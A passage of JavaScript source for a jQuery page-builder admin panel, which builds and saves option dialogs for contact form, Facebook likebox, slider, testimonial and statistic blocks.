			 content += getBt2Inputgroup([['text','contact-email','span12','','Email','Email',data.attr.email,'hello@domain.inc'],['text','contact-subject','span12','','Subject','Subject',data.attr.subject,'We are online from 09.00 - 18.00, Mountain Time'],['text','contact-thanks','span12','','Thanks Message','Thans Message',data.attr.thanks,'Thanks for contacting us'],['text','contact-sclass','span12','','Section class','Section class',data.attr.sclass,''],['text','contact-sid','span12','','Section id','Section id',data.attr.sid,''],['text','contact-cclass','span12','','Container class','Container class',data.attr.cclass,'']], false);
            //content += getBt2Inputgroup([['text','contact-subscribe-link','span12','','Subscribe Link','Subscribe Link',data.attr.subscribelink,'shinetheme.com'],['text','contact-subscribe-message','span12','','Subscribe Message','Subscribe Message',data.attr.subscribemessage,'We are releasing amazing newsletters each month'],['text','contact-grabnewletter-link','span12','','Grab NewLetter Link','Grab NewLetter Link',data.attr.grabnewletterlink,'shinetheme.com'],['text','contact-followus-link','span12','','Follow Us Link','Follow Us Link',data.attr.followuslink,'shinetheme.com'],['text','contact-followus-message','span12','','Follow Us Message','Follow Us Message',data.attr.followusmessage,'We are always active on twitter'],['text','contact-username-link','span12','','Username Link','Username Link',data.attr.usernamelink,'usernamelink']], false);
        content +="</div>";
    content +="</div>";
        
        
        content+="<div class='st-button-group'>";
        content+="<button class='btn btn-primary btn-save'>Save</button>";
        content+="<button class='btn btn-cancel'>Cancel</button>";
        content+="</div>";
    content+="</div>";
    jQuery('.st-navigation').html(content);
    
    if(typeof data.attr.state !='undefined'){
		jQuery('#st-navigation .st-state [value="'+data.attr.state+'"]').prop('checked', true);
	}
    jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
        saveContactForm();
    });
}

function saveContactForm(){
	data = {"type":"contact_desi","content":"","attr":{}};
	data.attr.state = jQuery('#st-navigation .st-state input[type="radio"]:checked').val();
    data.attr.title=jQuery('input[name="contact-title"]').val();
    //data.attr.address=jQuery('input[name="contact-address"]').val();
//    data.attr.phone=jQuery('input[name="contact-phone"]').val();
//    data.attr.fax=jQuery('input[name="contact-fax"]').val();
    data.attr.description=jQuery('textarea[name="contact-description"]').val();
    data.attr.email=jQuery('input[name="contact-email"]').val();
    data.attr.subject=jQuery('input[name="contact-subject"]').val();
    data.attr.thanks=jQuery('input[name="contact-thanks"]').val();
    data.attr.sid=jQuery('input[name="contact-sid"]').val();
    data.attr.sclass=jQuery('input[name="contact-sclass"]').val();
    data.attr.cclass=jQuery('input[name="contact-cclass"]').val();
    var json = encodeURIComponent(JSON.stringify(data));
    jQuery('#st-page li.st-focus').attr("data",json);
    jQuery.stbox.close();
}

// End Contact Form 

// get Option like box 
function getFb_likbeboxOption(data){
	content ="<div class='st-nav-title'><i class='icon-facebook-4'></i> Facebook likebox<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content +="<div class='row-fluid'>";
			content +="<div class='span6'>";
				content += getBt2Inputgroup([['text', 'st-linkpage','span12','','Facebook Link','Facebook Link Page', data.content],['text', 'st-widthbox','span12','','Width','Width', data.attr.width, 300],['text', 'st-heightbox','span12','','Height','Height (default: auto)', data.attr.height]],false);
				content += getBt2Selectgroup('Color Scheme', 'st-colorScheme', 'span12', '', data.attr.colorscheme, [['Light', 'light'],['Dark', 'dark']], false);
				content += getBt2Selectgroup('Language', 'st-language', 'span12', '', data.attr.language, [['US', 'en_us'],['Korea', 'ko_KR'],['France', 'fr_FR'],['Japanese', 'ja_JP'],['Italian', 'it_IT'],['VietNamese', 'vi_VN']], false);
			content +="</div>";
			content +="<div class='span6'>";
				content+="<label>Show faces:</label>";
				content+="<div class='st-showfaces st-radio'>"; 
					content+='<label class="radio inline"><input type="radio" name="st-showfaces" value="true" checked="checked">Yes</label>';
					content+='<label class="radio inline"><input type="radio" name="st-showfaces" value="false">No</label>';
				content+="</div>";
		       
		        content+="<label>Show header:</label>";
		        content+="<div class='st-showheader st-radio'>"; 
					content+='<label class="radio inline"><input type="radio" name="st-showheader" value="true" checked="checked">Yes</label>';
					content+='<label class="radio inline"><input type="radio" name="st-showheader" value="false">No</label>';
				content+="</div>";
		        
				content+="<label>Show stream:</label>";
				content+="<div class='st-showstream st-radio'>"; 
					content+='<label class="radio inline"><input type="radio" name="st-showstream" value="true" checked="checked">Yes</label>';
					content+='<label class="radio inline"><input type="radio" name="st-showstream" value="false">No</label>';
				content+="</div>";
		        
				content+="<label>Show border:</label>";
				content+="<div class='st-showborder st-radio'>"; 
					content+='<label class="radio inline"><input type="radio" name="st-showborder" value="true" checked="checked">Yes</label>';
					content+='<label class="radio inline"><input type="radio" name="st-showborder" value="false">No</label>';
				content+="</div>";
			content +="</div>";
		content +="</div>";

		content+="<div class='st-button-group'>";
			content+="<button class='btn btn-primary btn-save'>Save</button>";
			content+="<button class='btn btn-cancel'>Cancel</button>";
			content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('#st-navigation .st-showfaces [value="'+data.attr.showfaces+'"]').prop('checked', true);
	jQuery('#st-navigation .st-showheader [value="'+data.attr.showheader+'"]').prop('checked', true);
	jQuery('#st-navigation .st-showstream [value="'+data.attr.showstream+'"]').prop('checked', true);
	jQuery('#st-navigation .st-showborder [value="'+data.attr.showborder+'"]').prop('checked', true);
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveLikebox();
	});
}

function saveLikebox(){
	var width = jQuery('input[name="st-widthbox"]').val();
	var height = jQuery('input[name="st-heightbox"]').val();
	if(!testNumber(width)){
		alert('Width must be number format.');
		return false;
	}
	if(height!=""){
		if(!testNumber(height)){
			alert('Height must be number format.');
			return false;
		}
	}
	data = {"type":"fb_likebox_desi","content":"","attr":{}};
	data.content=jQuery('input[name="st-linkpage"]').val();
	data.attr.width=width;
	data.attr.height=height;
	data.attr.showfaces=jQuery('input[name="st-showfaces"]:checked').val();
	data.attr.showheader=jQuery('input[name="st-showheader"]:checked').val();
	data.attr.showstream=jQuery('input[name="st-showstream"]:checked').val();
	data.attr.showborder=jQuery('input[name="st-showborder"]:checked').val();
	data.attr.colorscheme=jQuery('select[name="st-colorScheme"] option:selected').val();
	data.attr.language=jQuery('select[name="st-language"] option:selected').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End likebox Option



// get Option Slider
function getSliderOption(data){
	content ="<div class='st-nav-title'><i class='icon-image'></i> slider<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-slider-option'>";
		content+='<ul class="nav nav-tabs" id="tabpopup">';
			content+='<li class="active"><a href="#getimage"><i class="icon-images"></i>Select Images</a></li>';
			content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
			//Select Image
			content+='<div class="tab-pane active" id="getimage">';
				content+='<div class="row-fluid">';
					content+='<div class="span5">';
                        
						content+='<label>Path:</label><input type="text" class="st-path" value="images/" /><button class="btn btn-primary st-go" type="button" >Go</button>';
						content+='<div class="st-dragimage">'; 
							content+='<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div>';
							content+='<div class="st-mark"></div></div>';
							content+='<ul id="dragImage">';
							content+='</ul>';
						content+='</div>';
					content+='</div>';
					content+='<div class="span2">';
						content+='<span>Drag and Drop</span>';
					content+='</div>';
					content+='<div class="span5">';
						content+='<strong>Drag & Drop images here:</strong>';
						content+='<div class="st-sortimage"><ul id="sortImage">';
						for(var i=0;i<data.content.length;i++){
							content+='<li class="st-selectimage" data-desc="'+((data.content[i].attr.desc!=null)?data.content[i].attr.desc:"")+'" data-title="'+((data.content[i].attr.title!=null)?data.content[i].attr.title:"")+'" data-bg-image="'+((data.content[i].attr.bg_image!=null)?data.content[i].attr.bg_image:"")+'" data-link-text="'+((data.content[i].attr.link_text!=null)?data.content[i].attr.link_text:"")+'" data-link="'+((data.content[i].attr.link!=null)?data.content[i].attr.link:"")+'" data-short-title="'+((data.content[i].attr.short_title!=null)?data.content[i].attr.short_title:"")+'" data-show-image="'+((data.content[i].attr.show_image!='undefined')?data.content[i].attr.show_image:"true")+'">';
								content+='<i class="icon-cancel-circle "></i>';
								content+='<img data-site="'+data.content[i].content+'" src="'+data.content[i].attr.linkadmin+'" />';
							content+='</li>';
						}
						content+='</ul></div>';
						content+='<div class="st-desc-item">';
							content+='<label>Title:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-title span12" /></div>'
							content+='<label>Description:</label>';
							content+='<div class="row-fluid">';
								content+='<textarea class="span12 st-desc-content" rows="3"></textarea>';
							content+='</div>';
                            //content+='<label>Link Text:</label>';
//							content+='<div class="row-fluid"><input type="text" class="st-desc-link-text span12" /></div>'
//							content+='<label>Link:</label>';
//							content+='<div class="row-fluid"><input type="text" class="st-desc-link span12" /></div>'
//                            content+='<label>Show Image:</label>';
//    						content+='<div class="row-fluid"><select class="st-desc-show-image span6">';
//    							content+='<option value="true">True</option>';
//    							content+='<option value="false">False</option>';
//    						content+='</select></div>';							
       
						content+='</div>';
					content+='</div>';
				content+="</div>";
			content+='</div>';
			//End Select Image
			content+='<div class="tab-pane" id="config">';
				content+='<div class="row-fluid">';
					content+='<div class="span6">';
                        content+='<label>Title:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-title span6" value="'+((data.attr.title!=null)?data.attr.title:"")+'" /></div>';
						content+='<label>Short description:</label>';
						content+='<div class="row-fluid"><input type="textare" class="st-sdesc span6" value="'+((data.attr.sdesc!=null)?data.attr.sdesc:"")+'" /></div>';
						content+='<label>Section Id:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-sid span6" value="'+((data.attr.sid!=null)?data.attr.sid:"")+'" /></div>';
						content+='<label>Section Class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-sclass span6" value="'+((data.attr.sclass!=null)?data.attr.sclass:"")+'" /></div>';
						content+='<label>Heading Class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-class span6" value="'+((data.attr.class!=null)?data.attr.class:"")+'" /></div>';
						content+='<label>Background image:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-bg span6" value="'+((data.attr.bg!=null)?data.attr.bg:"")+'" /></div>';
						//content+='<label>Show Image:</label>';
//						content+='<div class="row-fluid"><select class="st-show-image span6">';
//							content+='<option value="true">True</option>';
//							content+='<option value="false">False</option>';
						//content+='</select></div>';
						//content+='<label>Interval:</label>';
						//content+='<div class="row-fluid"><input type="text" class="st-interval span6" value="'+data.attr.interval+'" /></div>';
						//content+='<label>Auto:</label>';
						//content+='<div class="row-fluid"><select class="st-auto span6">';
						//	content+='<option value="true">True</option>';
						//	content+='<option value="false">False</option>';
						//content+='</select></div>';
                        content+='<div class="row-fluid">';
                            content += getBt2Selectgroup('Template', 'st-slider-template', 'span6', '', data.attr.template, [['Default','slider'],['Default1','slider1']], false);
                        content+='</div>';
					content+='</div>';
					//content+='<div class="span6">';
//						content+='<label>Type Slider:</label>';
//						content+="<div class='st-typeslider st-radio'>"; 
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="2" checked="checked">Camera</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="3">Flex</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="4">Nivo</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="5">Elastic</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="6">Accordion</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="7">carousel Box</label>';
//						content+="</div>";
//					content+='</div>';
				content+='</div>';
			content+='</div>';
		content+='</div>';
        

		content+="<div class='st-button-group'>";
    		content+="<button class='btn btn-primary btn-save'>Save</button>";
    		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	sliderSelectImage();
	jQuery('#st-navigation .st-typeslider [value="'+((data.attr.typeslider!=null)?data.attr.typeslider:"1")+'"]').prop('checked', true);
	//jQuery('#st-navigation .st-auto [value="'+data.attr.auto+'"]').attr("selected","selected");
    jQuery('#st-navigation .st-show-image [value="'+data.attr.show_image+'"]').attr("selected","selected");
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#st-navigation .st-go').click(function(){
		loadImages(jQuery("#st-navigation .st-path").val());
	});
	
	jQuery('#sortImage [class^="icon-"]').click(function(){
		jQuery(this).parent().remove();
	});
	jQuery('.st-nav-option .st-button-group button.btn-primary.btn-save').click(function(){
		saveSlider();
	});
}

function sliderSelectImage(){
	jQuery('.st-navigation #sortImage .st-selectimage').click(function(){
		//console.log(encodeURIComponent('Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sed cumque distinctio labore minima ipsum fugit aspernatur dolore deserunt iure sunt officiis iusto <span class="color-text">itaque rerum reprehenderit laborum</span> dignissimos iste assumenda dolorem?'))
		jQuery('.st-navigation #sortImage .st-selectimage').removeClass('selected');
		jQuery(this).addClass('selected');
		jQuery('.st-navigation .st-desc-item .st-desc-title').val(String(jQuery(this).attr('data-title')));
		jQuery('.st-navigation .st-desc-item .st-desc-short-title').val(jQuery(this).attr('data-short-title'));
		jQuery('.st-navigation .st-desc-item .st-desc-bg-image').val(jQuery(this).attr('data-bg-image'));
		jQuery('.st-navigation .st-desc-item .st-desc-show-image').val(jQuery(this).attr('data-show-image'));
        jQuery('.st-navigation .st-desc-item .st-desc-link-text').val(jQuery(this).attr('data-link-text'));
        jQuery('.st-navigation .st-desc-item .st-desc-link').val(jQuery(this).attr('data-link'));
        jQuery('.st-navigation .st-desc-item .st-desc-content').val((jQuery(this).attr('data-desc')!=null)?decodeURIComponent(jQuery(this).attr('data-desc')):"");
	});
	jQuery('.st-navigation .st-desc-item .st-desc-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-title",String(jQuery(this).val()));
	});
    jQuery('.st-navigation .st-desc-item .st-desc-bg-image').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-bg-image",String(jQuery(this).val()));
	});
    jQuery('.st-navigation .st-desc-item .st-desc-show-image').change(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-show-image",jQuery(this).val());
        
	});
    jQuery('.st-navigation .st-desc-item .st-desc-short-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-short-title",jQuery(this).val());
	});
    jQuery('.st-navigation .st-desc-item .st-desc-link-text').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link-text",jQuery(this).val());
	});
    jQuery('.st-navigation .st-desc-item .st-desc-link').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-link",jQuery(this).val());
	});    
	jQuery('.st-navigation .st-desc-item .st-desc-content').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-desc",encodeURIComponent(jQuery(this).val()));
	});
}

function saveSlider(){
		data = {"type":"slider_desi","content":[],"attr":{}};
        data.attr.template = jQuery('select[name="st-slider-template"] option:selected').val();
		data.attr.class=jQuery('#st-navigation .st-class').val();
		data.attr.title=jQuery('#st-navigation .st-title').val();
		data.attr.sid=jQuery('#st-navigation .st-sid').val();
		data.attr.sclass=jQuery('#st-navigation .st-sclass').val();
		data.attr.sdesc=jQuery('#st-navigation .st-sdesc').val();
		data.attr.bg=jQuery('#st-navigation .st-bg').val();
		//data.attr.auto=jQuery('#st-navigation .st-auto').val();
		//data.attr.typeslider= jQuery('#st-navigation .st-typeslider input[type="radio"]:checked').val();
		var link = "";
		jQuery('#st-navigation #sortImage li').each(function(index){
			var arr = {"type":"item_gallery_desi","content":jQuery(this).find('img').attr("data-site"),"attr":{"linkadmin":jQuery(this).find('img').attr("src"),"title":jQuery.trim(jQuery(this).attr("data-title")),"desc":jQuery.trim(jQuery(this).attr("data-desc")),"link_text":jQuery.trim(jQuery(this).attr("data-link-text")),"link":jQuery.trim(jQuery(this).attr("data-link")),"image_full":jQuery.trim(jQuery(this).attr("data-image-full"))}};
			data.content.push(arr);
		});
		//console.log(data);
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
}
//  End Slider Option


// get Option Slider
function getTestimonialOption(data){
	content ="<div class='st-nav-title'><i class='icon-image'></i> Testimonial<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-testimonial-option'>";
		content+='<ul class="nav nav-tabs" id="tabpopup">';
			content+='<li class="active"><a href="#getimage"><i class="icon-images"></i>Select Images</a></li>';
			content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
			//Select Image
			content+='<div class="tab-pane active" id="getimage">';
				content+='<div class="row-fluid">';
					content+='<div class="span5">';
                        
						content+='<label>Path:</label><input type="text" class="st-path" value="images/" /><button class="btn btn-primary st-go" type="button" >Go</button>';
						content+='<div class="st-dragimage">'; 
							content+='<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div>';
							content+='<div class="st-mark"></div></div>';
							content+='<ul id="dragImage">';
							content+='</ul>';
						content+='</div>';
					content+='</div>';
					content+='<div class="span2">';
						content+='<span>Drag and Drop</span>';
					content+='</div>';
					content+='<div class="span5">';
						content+='<strong>Drag & Drop images here:</strong>';
						content+='<div class="st-sortimage"><ul id="sortImage">';
						for(var i=0;i<data.content.length;i++){
							content+='<li class="st-selectimage" data-desc="'+((data.content[i].attr.desc!=null)?data.content[i].attr.desc:"")+'" data-title="'+((data.content[i].attr.title!=null)?data.content[i].attr.title:"")+'" data-position="'+((data.content[i].attr.position!=null)?data.content[i].attr.position:"")+'" data-show-image="'+((data.content[i].attr.show_image!='undefined')?data.content[i].attr.show_image:"true")+'">';
								content+='<i class="icon-cancel-circle "></i>';
								content+='<img data-site="'+data.content[i].content+'" src="'+data.content[i].attr.linkadmin+'" />';
							content+='</li>';
						}
						content+='</ul></div>';
						content+='<div class="st-desc-item">';
							content+='<label>Title:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-title span12" /></div>'
							content+='<label>Position:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-position span12" /></div>'
							content+='<label>Description:</label>';
							content+='<div class="row-fluid">';
								content+='<textarea class="span12 st-desc-content" rows="3"></textarea>';
							content+='</div>';
                            content+='<label>Show Image:</label>';
    						content+='<div class="row-fluid"><select class="st-desc-show-image span6">';
    							content+='<option value="true">True</option>';
    							content+='<option value="false">False</option>';
    						content+='</select></div>';							
       
						content+='</div>';
					content+='</div>';
				content+="</div>";
			content+='</div>';
			//End Select Image
			content+='<div class="tab-pane" id="config">';
				content+='<div class="row-fluid">';
					content+='<div class="span6">';
                        content+='<label>Title:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-title span6" value="'+((data.attr.title!=null)?data.attr.title:"")+'" /></div>';
						content+='<label>Class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-class span6" value="'+((data.attr.class!=null)?data.attr.class:"testimonial")+'" /></div>';
						content+='<label>Show Image:</label>';
						content+='<div class="row-fluid"><select class="st-show-image span6">';
							content+='<option value="true">True</option>';
							content+='<option value="false">False</option>';
						content+='</select></div>';
						//content+='<label>Interval:</label>';
						//content+='<div class="row-fluid"><input type="text" class="st-interval span6" value="'+data.attr.interval+'" /></div>';
						//content+='<label>Auto:</label>';
						//content+='<div class="row-fluid"><select class="st-auto span6">';
						//	content+='<option value="true">True</option>';
						//	content+='<option value="false">False</option>';
						//content+='</select></div>';
                        content+='<div class="row-fluid">';
                            content += getBt2Selectgroup('Template', 'st-testimonial-template', 'span6', '', data.attr.template, [['Testimonial','testimonial']], false);
                        content+='</div>';
					content+='</div>';
					//content+='<div class="span6">';
//						content+='<label>Type Slider:</label>';
//						content+="<div class='st-typetestimonial st-radio'>"; 
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="2" checked="checked">Camera</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="3">Flex</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="4">Nivo</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="5">Elastic</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="6">Accordion</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="7">carousel Box</label>';
//						content+="</div>";
//					content+='</div>';
				content+='</div>';
			content+='</div>';
		content+='</div>';
        

		content+="<div class='st-button-group'>";
    		content+="<button class='btn btn-primary btn-save'>Save</button>";
    		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	testimonialSelectImage();
	jQuery('#st-navigation .st-typetestimonial [value="'+((data.attr.typetestimonial!=null)?data.attr.typetestimonial:"1")+'"]').prop('checked', true);
	//jQuery('#st-navigation .st-auto [value="'+data.attr.auto+'"]').attr("selected","selected");
    jQuery('#st-navigation .st-show-image [value="'+data.attr.show_image+'"]').attr("selected","selected");
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#st-navigation .st-go').click(function(){
		loadImages(jQuery("#st-navigation .st-path").val());
	});
	
	jQuery('#sortImage [class^="icon-"]').click(function(){
		jQuery(this).parent().remove();
	});
	jQuery('.st-nav-option .st-button-group button.btn-primary.btn-save').click(function(){
		saveTestimonial();
	});
}

function testimonialSelectImage(){
	jQuery('.st-navigation #sortImage .st-selectimage').click(function(){
		//console.log(encodeURIComponent('Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sed cumque distinctio labore minima ipsum fugit aspernatur dolore deserunt iure sunt officiis iusto <span class="color-text">itaque rerum reprehenderit laborum</span> dignissimos iste assumenda dolorem?'))
		jQuery('.st-navigation #sortImage .st-selectimage').removeClass('selected');
		jQuery(this).addClass('selected');
		jQuery('.st-navigation .st-desc-item .st-desc-title').val(String(jQuery(this).attr('data-title')));
		jQuery('.st-navigation .st-desc-item .st-desc-position').val(jQuery(this).attr('data-position'));
		jQuery('.st-navigation .st-desc-item .st-desc-show-image').val(jQuery(this).attr('data-show-image'));
        jQuery('.st-navigation .st-desc-item .st-desc-content').val((jQuery(this).attr('data-desc')!=null)?decodeURIComponent(jQuery(this).attr('data-desc')):"");
	});
	jQuery('.st-navigation .st-desc-item .st-desc-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-title",String(jQuery(this).val()));
	});
	jQuery('.st-navigation .st-desc-item .st-desc-position').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-position",String(jQuery(this).val()));
	});
    jQuery('.st-navigation .st-desc-item .st-desc-show-image').change(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-show-image",jQuery(this).val());
        
	});
    jQuery('.st-navigation .st-desc-item .st-desc-short-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-short-title",jQuery(this).val());
	});
	jQuery('.st-navigation .st-desc-item .st-desc-content').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-desc",encodeURIComponent(jQuery(this).val()));
	});
}

function saveTestimonial(){
		data = {"type":"testimonial_desi","content":[],"attr":{}};
        data.attr.template = jQuery('select[name="st-testimonial-template"] option:selected').val();
		data.attr.class=jQuery('#st-navigation .st-class').val();
		data.attr.title=jQuery('#st-navigation .st-title').val();
		data.attr.show_image=jQuery('#st-navigation .st-show-image').val();
		//data.attr.interval=jQuery('#st-navigation .st-interval').val();
		//data.attr.auto=jQuery('#st-navigation .st-auto').val();
		//data.attr.typeslider= jQuery('#st-navigation .st-typeslider input[type="radio"]:checked').val();
		var link = "";
		jQuery('#st-navigation #sortImage li').each(function(index){
			var arr = {"type":"item_gallery_desi","content":jQuery(this).find('img').attr("data-site"),"attr":{"linkadmin":jQuery(this).find('img').attr("src"),"title":jQuery.trim(jQuery(this).attr("data-title")),"desc":jQuery.trim(jQuery(this).attr("data-desc")),"position":jQuery.trim(jQuery(this).attr("data-position")),"show_image":jQuery(this).attr("data-show-image")}};
			data.content.push(arr);
		});
		//console.log(data);
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
}
//  End Slider Testimonial Option

// get Option Slider
function getIntroOption(data){
	content ="<div class='st-nav-title'><i class='icon-image'></i> Statistic<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-intro-option'>";
		content+='<ul class="nav nav-tabs" id="tabpopup">';
			content+='<li class="active"><a href="#getimage"><i class="icon-images"></i>Select Images</a></li>';
			content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
			//Select Image
			content+='<div class="tab-pane active" id="getimage">';
				content+='<div class="row-fluid">';
					content+='<div class="span5">';
                        
						content+='<label>Path:</label><input type="text" class="st-path" value="images/" /><button class="btn btn-primary st-go" type="button" >Go</button>';
						content+='<div class="st-dragimage">'; 
							content+='<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div>';
							content+='<div class="st-mark"></div></div>';
							content+='<ul id="dragImage">';
							content+='</ul>';
						content+='</div>';
					content+='</div>';
					content+='<div class="span2">';
						content+='<span>Drag and Drop</span>';
					content+='</div>';
					content+='<div class="span5">';
						content+='<strong>Drag & Drop images here:</strong>';
						content+='<div class="st-sortimage"><ul id="sortImage">';
						for(var i=0;i<data.content.length;i++){
							content+='<li class="st-selectimage"  data-title="'+((data.content[i].attr.title!=null)?data.content[i].attr.title:"")+'" data-number="'+((data.content[i].attr.number!=null)?data.content[i].attr.number:"")+'" data-iconname="'+((data.content[i].attr.iconname!=null)?data.content[i].attr.iconname:"")+'" data-show-image="'+((data.content[i].attr.show_image!='undefined')?data.content[i].attr.show_image:"true")+'" >';
								content+='<i class="icon-cancel-circle "></i>';
								content+='<img data-site="'+data.content[i].content+'" src="'+data.content[i].attr.linkadmin+'" />';
							content+='</li>';
						}
						content+='</ul></div>';
						content+='<div class="st-desc-item">';
							content+='<label>Title:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-title span12" /></div>'
							content+='<label>Number:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-number span12" /></div>'
							content+='<label>Icon name:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-iconname span12" /></div>'
							//content+='<label>Background image:</label>';
//							content+='<div class="row-fluid"><input type="text" class="st-desc-bg-image span12" /></div>'
//							content+='<label>Description:</label>';
//							content+='<div class="row-fluid">';
//								content+='<textarea class="span12 st-desc-content" rows="3"></textarea>';
//							content+='</div>';
//                            content+='<label>Link Text:</label>';
//							content+='<div class="row-fluid"><input type="text" class="st-desc-link-text span12" /></div>'
//							content+='<label>Link:</label>';
//							content+='<div class="row-fluid"><input type="text" class="st-desc-link span12" /></div>'
                            content+='<label>Show Image:</label>';
    						content+='<div class="row-fluid"><select class="st-desc-show-image span6">';
    							content+='<option value="true">True</option>';
    							content+='<option value="false">False</option>';
    						content+='</select></div>';							
       
						content+='</div>';
					content+='</div>';
				content+="</div>";
			content+='</div>';
			//End Select Image
			content+='<div class="tab-pane" id="config">';
				content+='<div class="row-fluid">';
					content+='<div class="span6">';
                        content+='<label>Class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-class span6" value="'+((data.attr.class!=null)?data.attr.class:"")+'" /></div>';
						content+='<label>Title:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-title span6" value="'+((data.attr.title!=null)?data.attr.title:"")+'" /></div>';
						content+='<label>Id:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-sid span6" value="'+((data.attr.sid!=null)?data.attr.sid:"")+'" /></div>';
						content+='<label>Heading class:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-hclass span6" value="'+((data.attr.hclass!=null)?data.attr.hclass:"")+'" /></div>';
						//content+='<label>Show Title:</label>';
						//content+='<div class="row-fluid"><select class="st-show-title span6">';
//							content+='<option value="true">True</option>';
//							content+='<option value="false">False</option>';
//						content+='</select></div>';
						content+='<label>Background image:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-bg span6" value="'+data.attr.bg_image+'" /></div>';
						//content+='<label>Auto:</label>';
						//content+='<div class="row-fluid"><select class="st-auto span6">';
						//	content+='<option value="true">True</option>';
						//	content+='<option value="false">False</option>';
						//content+='</select></div>';
                        content+='<div class="row-fluid">';
                            content += getBt2Selectgroup('Template', 'st-intro-template', 'span6', '', data.attr.template, [['Statistic','statistic'],['Statistic1','statistic1']], false);
                        content+='</div>';
					content+='</div>';
					//content+='<div class="span6">';
//						content+='<label>Type Slider:</label>';
//						content+="<div class='st-typeintro st-radio'>"; 
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="2" checked="checked">Camera</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="3">Flex</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="4">Nivo</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="5">Elastic</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="6">Accordion</label>';
//							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="7">carousel Box</label>';
//						content+="</div>";
//					content+='</div>';
				content+='</div>';
			content+='</div>';
		content+='</div>';
        

		content+="<div class='st-button-group'>";
    		content+="<button class='btn btn-primary btn-save'>Save</button>";
    		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	introSelectImage();
